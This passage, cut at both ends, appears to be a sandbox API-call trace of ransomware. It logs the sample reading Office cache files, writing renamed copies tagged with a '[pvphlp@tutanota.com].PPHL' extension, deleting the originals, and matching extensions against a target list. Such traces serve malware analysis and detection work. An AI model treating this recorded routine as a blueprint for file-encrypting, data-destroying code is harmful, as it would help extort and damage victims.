(hObject=0x1ac) returned 1 [0060.728] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.728] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0060.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.729] lstrlenW (lpString=".doc") returned 4 [0060.729] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString=".docx") returned 5 [0060.729] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.729] lstrlenW (lpString=".pdf") returned 4 [0060.729] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString=".xls") returned 4 [0060.729] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString=".xlsx") returned 5 [0060.729] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.729] lstrlenW (lpString=".ppt") returned 4 [0060.729] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.729] lstrlenW (lpString=".zip") returned 4 [0060.729] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.729] lstrlenW (lpString=".rar") returned 4 [0060.729] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString=".bz2") returned 4 [0060.729] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString=".7z") returned 3 [0060.729] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.729] lstrlenW (lpString=".dbf") returned 4 [0060.729] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.729] lstrlenW (lpString=".1cd") returned 4 [0060.729] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.729] lstrlenW (lpString=".jpg") returned 4 [0060.729] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.730] lstrlenW (lpString=".doc") returned 4 [0060.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.731] lstrlenW (lpString=".docx") returned 5 [0060.731] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.731] lstrlenW (lpString=".pdf") returned 4 [0060.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.732] lstrlenW (lpString=".xls") returned 4 [0060.732] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.732] lstrlenW (lpString=".xlsx") returned 5 [0060.732] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.732] lstrlenW (lpString=".ppt") returned 4 [0060.732] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.732] lstrlenW (lpString=".zip") returned 4 [0060.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.732] lstrlenW (lpString=".rar") returned 4 [0060.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.732] lstrlenW (lpString=".bz2") returned 4 [0060.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.732] lstrlenW (lpString=".7z") returned 3 [0060.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.732] lstrlenW (lpString=".dbf") returned 4 [0060.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.732] lstrlenW (lpString=".1cd") returned 4 [0060.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.732] lstrlenW (lpString=".jpg") returned 4 [0060.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.732] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.732] lstrlenW (lpString="VisioMUI.xml") returned 12 [0060.732] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.012] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=9503) returned 1 [0061.012] CloseHandle (hObject=0x198) returned 1 [0061.022] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0061.022] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0061.022] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.022] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0061.023] GetLastError () returned 0x0 [0061.023] ReadFile (in: hFile=0x1a8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x251f, lpOverlapped=0x0) returned 1 [0061.033] WriteFile (in: hFile=0x1bc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0061.034] ReadFile (in: hFile=0x1a8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.034] WriteFile (in: hFile=0x1bc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.034] SetEndOfFile (hFile=0x1bc) returned 1 [0061.035] CloseHandle (hObject=0x1bc) returned 1 [0061.035] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.036] SetEndOfFile (hFile=0x1a8) returned 1 [0061.036] CloseHandle (hObject=0x1a8) returned 1 [0061.036] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.037] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0061.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.037] lstrlenW (lpString=".doc") returned 4 [0061.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.037] lstrlenW (lpString=".docx") returned 5 [0061.037] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.037] lstrlenW (lpString=".pdf") returned 4 [0061.037] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.037] lstrlenW (lpString=".xls") returned 4 [0061.037] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.037] lstrlenW (lpString=".xlsx") returned 5 [0061.037] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.037] lstrlenW (lpString=".ppt") returned 4 [0061.037] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.037] lstrlenW (lpString=".zip") returned 4 [0061.037] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.037] lstrlenW (lpString=".rar") returned 4 [0061.037] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString=".bz2") returned 4 [0061.038] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString=".7z") returned 3 [0061.038] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.038] lstrlenW (lpString=".dbf") returned 4 [0061.038] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.038] lstrlenW (lpString=".1cd") returned 4 [0061.038] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.038] lstrlenW (lpString=".jpg") returned 4 [0061.038] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.038] lstrlenW (lpString=".doc") returned 4 [0061.038] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString=".docx") returned 5 [0061.038] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.038] lstrlenW (lpString=".pdf") returned 4 [0061.038] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString=".xls") returned 4 [0061.038] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.038] lstrlenW (lpString=".xlsx") returned 5 [0061.038] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.038] lstrlenW (lpString=".ppt") returned 4 [0061.038] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.039] lstrlenW (lpString=".zip") returned 4 [0061.039] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.039] lstrlenW (lpString=".rar") returned 4 [0061.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.039] lstrlenW (lpString=".bz2") returned 4 [0061.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.039] lstrlenW (lpString=".7z") returned 3 [0061.039] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.039] lstrlenW (lpString=".dbf") returned 4 [0061.039] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.039] lstrlenW (lpString=".1cd") returned 4 [0061.039] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0061.039] lstrlenW (lpString=".jpg") returned 4 [0061.039] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.039] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.039] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0061.039] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.048] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=913) returned 1 [0061.048] CloseHandle (hObject=0x198) returned 1 [0061.048] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0061.048] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.048] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.048] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0061.049] GetLastError () returned 0x0 [0061.049] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x391, lpOverlapped=0x0) returned 1 [0061.050] WriteFile (in: hFile=0x1b8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0061.051] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.051] WriteFile (in: hFile=0x1b8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0061.051] SetEndOfFile (hFile=0x1b8) returned 1 [0061.052] CloseHandle (hObject=0x1b8) returned 1 [0061.053] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.054] SetEndOfFile (hFile=0x198) returned 1 [0061.054] CloseHandle (hObject=0x198) returned 1 [0061.054] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.055] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0061.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.055] lstrlenW (lpString=".doc") returned 4 [0061.055] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.055] lstrlenW (lpString=".docx") returned 5 [0061.055] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.055] lstrlenW (lpString=".pdf") returned 4 [0061.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.055] lstrlenW (lpString=".xls") returned 4 [0061.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.055] lstrlenW (lpString=".xlsx") returned 5 [0061.055] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.055] lstrlenW (lpString=".ppt") returned 4 [0061.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.055] lstrlenW (lpString=".zip") returned 4 [0061.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.055] lstrlenW (lpString=".rar") returned 4 [0061.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.055] lstrlenW (lpString=".bz2") returned 4 [0061.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.055] lstrlenW (lpString=".7z") returned 3 [0061.055] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.056] lstrlenW (lpString=".dbf") returned 4 [0061.056] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.056] lstrlenW (lpString=".1cd") returned 4 [0061.056] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.056] lstrlenW (lpString=".jpg") returned 4 [0061.056] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.056] lstrlenW (lpString=".doc") returned 4 [0061.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString=".docx") returned 5 [0061.056] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.056] lstrlenW (lpString=".pdf") returned 4 [0061.056] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString=".xls") returned 4 [0061.056] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString=".xlsx") returned 5 [0061.056] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.056] lstrlenW (lpString=".ppt") returned 4 [0061.056] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.056] lstrlenW (lpString=".zip") returned 4 [0061.056] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.056] lstrlenW (lpString=".rar") returned 4 [0061.056] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString=".bz2") returned 4 [0061.056] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.056] lstrlenW (lpString=".7z") returned 3 [0061.056] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.057] lstrlenW (lpString=".dbf") returned 4 [0061.057] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.057] lstrlenW (lpString=".1cd") returned 4 [0061.057] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0061.057] lstrlenW (lpString=".jpg") returned 4 [0061.057] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.057] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.057] lstrlenW (lpString="branding.xml") returned 12 [0061.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.058] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=596341) returned 1 [0061.058] CloseHandle (hObject=0x198) returned 1 [0061.058] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0061.058] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.059] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.059] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.059] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0061.059] GetLastError () returned 0x0 [0061.059] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x91975, lpOverlapped=0x0) returned 1 [0061.415] WriteFile (in: hFile=0x1b8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0061.428] ReadFile (in: hFile=0x198, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.428] WriteFile (in: hFile=0x1b8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: 